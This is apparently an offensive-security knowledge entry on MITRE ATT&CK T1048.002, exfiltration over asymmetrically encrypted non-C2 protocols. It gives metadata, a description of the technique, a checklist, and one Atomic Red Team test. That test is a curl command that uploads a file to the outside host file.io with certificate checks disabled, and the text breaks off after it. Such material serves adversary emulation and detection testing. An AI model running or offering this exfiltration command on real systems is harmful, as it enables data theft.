t1048-002-exfiltration-over-asymmetric-encrypted-non-c2-protocol

name	T1048.002_exfiltration-over-asymmetric-encrypted-non-c2-protocol
description	Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel.
category	client-side
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1048.002","exfiltration","linux","macos","windows","esxi","sub-technique"]
technique_id	T1048.002
tactic	exfiltration
all_tactics	["exfiltration"]
platforms	["Linux","macOS","Windows","ESXi"]
mitre_url	https://attack.mitre.org/techniques/T1048/002
tech_stack	["linux","macos","windows","esxi"]
cwe_ids	["CWE-200"]
chains_with	["T1048","T1048.001","T1048.003"]
prerequisites	["T1048"]
severity_boost	{"T1048":"Chain with T1048 for deeper attack path","T1048.001":"Chain with T1048.001 for deeper attack path","T1048.003":"Chain with T1048.003 for deeper attack path"}

T1048.002 Exfiltration Over Asymmetric Encrypted Non-C2 Protocol

Sub-technique of: T1048

High-Level Description

Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol.

Kill Chain Phase

• Exfiltration (TA0010)

Platforms: Linux, macOS, Windows, ESXi

What to Check

• Identify if Exfiltration Over Asymmetric Encrypted Non-C2 Protocol technique is applicable to target environment
• Check Linux systems for indicators of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
• Check macOS systems for indicators of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
• Check Windows systems for indicators of Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
• Verify mitigations are bypassed or absent (4 known mitigations)
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Exfiltrate data HTTPS using curl windows

Exfiltrate data HTTPS using curl to file share site file.io

Supported Platforms: windows

#{curl_path} -k -F "file=@#{input_file}" https://file.io/

Dependencies: